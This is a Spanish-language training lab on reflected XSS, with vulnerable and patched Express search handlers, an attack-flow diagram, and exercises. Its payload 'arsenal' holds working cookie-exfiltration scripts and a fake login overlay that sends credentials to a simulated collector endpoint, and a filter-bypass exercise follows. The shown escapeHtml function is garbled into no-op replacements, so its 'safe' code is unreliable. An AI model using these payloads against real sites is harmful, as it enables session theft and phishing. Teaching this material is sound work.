XSS Reflejado
El servidor devuelve el input del usuario sin sanitizar. Una URL maliciosa es suficiente para ejecutar código en el navegador de la víctima.
¿Cuándo se produce el XSS reflejado?
El XSS reflejado ocurre cuando una aplicación web incluye datos proporcionados por el usuario directamente en la respuesta HTML, sin escaparlos. El payload no se almacena: viaja en la petición y "rebota" de vuelta en la respuesta. De ahí el nombre.
Casos típicos donde las apps reflejan input
Buscadores
La página muestra "Resultados para: [tu búsqueda]". Si el término de búsqueda se inserta en el HTML sin escapar, es vulnerable.
Páginas de error
Mensajes como "No se encontró la página: /ruta-que-pediste" o "Email incorrecto: usuario@dominio".
Saludos personalizados
URLs como /bienvenida?nombre=Carlos que generan "Hola, Carlos" en la respuesta.
Redirectores abiertos
Parámetros como ?redirect=/dashboard que se renderizan en la página antes de ejecutar la redirección.
El código vulnerable y su versión segura
app.get('/search', (req, res) => {
const query = req.query.q;
// ❌ El input se inserta directamente en el HTML
// Si query = "<script>alert(1)</script>"
// → el navegador ejecuta ese script
res.send(`
<h1>Tienda Online</h1>
<p>Resultados para:
<strong>${query}</strong>
</p>
`);
});
// Función de escape de HTML
function escapeHtml(str) {
return String(str)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
app.get('/search', (req, res) => {
// ✅ El input se escapa antes de insertar
const query = escapeHtml(req.query.q);
res.send(`
<p>Resultados para:
<strong>${query}</strong>
</p>
`);
});
¿Cómo se explota? El flujo del ataque
Atacante
crafts URL
Víctima
recibe enlace
Servidor
refleja payload
Navegador
ejecuta JS
Atacante
recibe cookie
/api/search) que refleja el parámetro
q directamente en el HTML sin sanitizar. Esta es la superficie de ataque.
Tu cookie lab_session está disponible sin HttpOnly — puedes verla con document.cookie.
Escribe una búsqueda normal primero para entender el comportamiento, luego prueba payloads:
Esto abrirá /api/search?q=TU_INPUT en una nueva pestaña.
El servidor devuelve la página con tu búsqueda reflejada sin escapar.
URL generada:
Esta cookie está disponible desde JavaScript (sin HttpOnly):
Haz clic en "Usar" para cargar el payload en el buscador:
<script>alert('XSS!')</script>
<img src=x onerror="alert('XSS sin script tag!')">
<script>document.body.innerHTML='<div style="background:#0a0f1e;color:#f43f5e;display:flex;align-items:center;justify-content:center;height:100vh;font-size:3rem;font-weight:900;position:fixed;top:0;left:0;width:100%">💀 PWNED</div>'</script>
<script>new Image().src='/api/collect?c='+encodeURIComponent(document.cookie)</script>
<script>fetch('/api/collect?c='+encodeURIComponent(document.cookie))</script>
<script>var o=document.createElement('div');o.style.cssText='position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.88);z-index:99999;display:flex;align-items:center;justify-content:center';o.innerHTML='<div style="background:#fff;padding:2rem;border-radius:8px;width:320px;font-family:sans-serif"><h3 style="margin:0 0 0.5rem;color:#111">Sesión expirada</h3><p style="color:#666;font-size:.9rem;margin:0 0 1rem">Por seguridad, vuelve a iniciar sesión</p><form action="/api/collect" method="GET"><input name="user" placeholder="Email" style="display:block;width:100%;margin-bottom:.5rem;padding:.6rem;border:1px solid #ddd;border-radius:4px;box-sizing:border-box"><input name="pass" type="password" placeholder="Contraseña" style="display:block;width:100%;margin-bottom:1rem;padding:.6rem;border:1px solid #ddd;border-radius:4px;box-sizing:border-box"><button type="submit" style="background:#2563eb;color:#fff;border:none;padding:.6rem 1.2rem;border-radius:4px;cursor:pointer;width:100%">Entrar</button></form></div>';document.body.appendChild(o);</script>
/api/collect/results.
Inyecta un payload en el buscador que reemplace visualmente todo el contenido de la página
de resultados (/api/search). El objetivo es modificar document.body.innerHTML
o la apariencia de la página de forma notable.
Pista
Usa el payload de Defacement del panel de laboratorio. Ábrelo en la nueva pestaña y observa
el efecto. El payload necesita modificar document.body o document.body.innerHTML.
Inyecta un payload que exfiltre la cookie lab_session al servidor del atacante
simulado (/api/collect). Después usa el botón de validación para confirmar
que la cookie fue capturada.
Pista
Usa el payload nº4 o nº5 del arsenal. Visita la URL generada en una nueva pestaña.
El script en esa página enviará tu cookie a /api/collect?c=....
Luego valida aquí.
Inyecta un overlay con un formulario de login que parezca legítimo y que envíe
las credenciales introducidas a /api/collect. Después comprueba que las
credenciales llegaron al servidor del atacante.
Pista
Usa el payload nº6 del arsenal. Visita la URL en una nueva pestaña, introduce credenciales en el formulario falso y envíalas. Luego valida aquí.
Sin usar los payloads del arsenal, escribe tú mismo un payload que:
(a) no use la etiqueta <script> directamente, y
(b) exfiltre la cookie a /api/collect. Demuestra que hay múltiples vectores.
Pista
Considera: <img src=x onerror=...>, <svg onload=...>,
<body onload=...>, <iframe src="javascript:...">.
Técnicas de bypass de filtros básicos.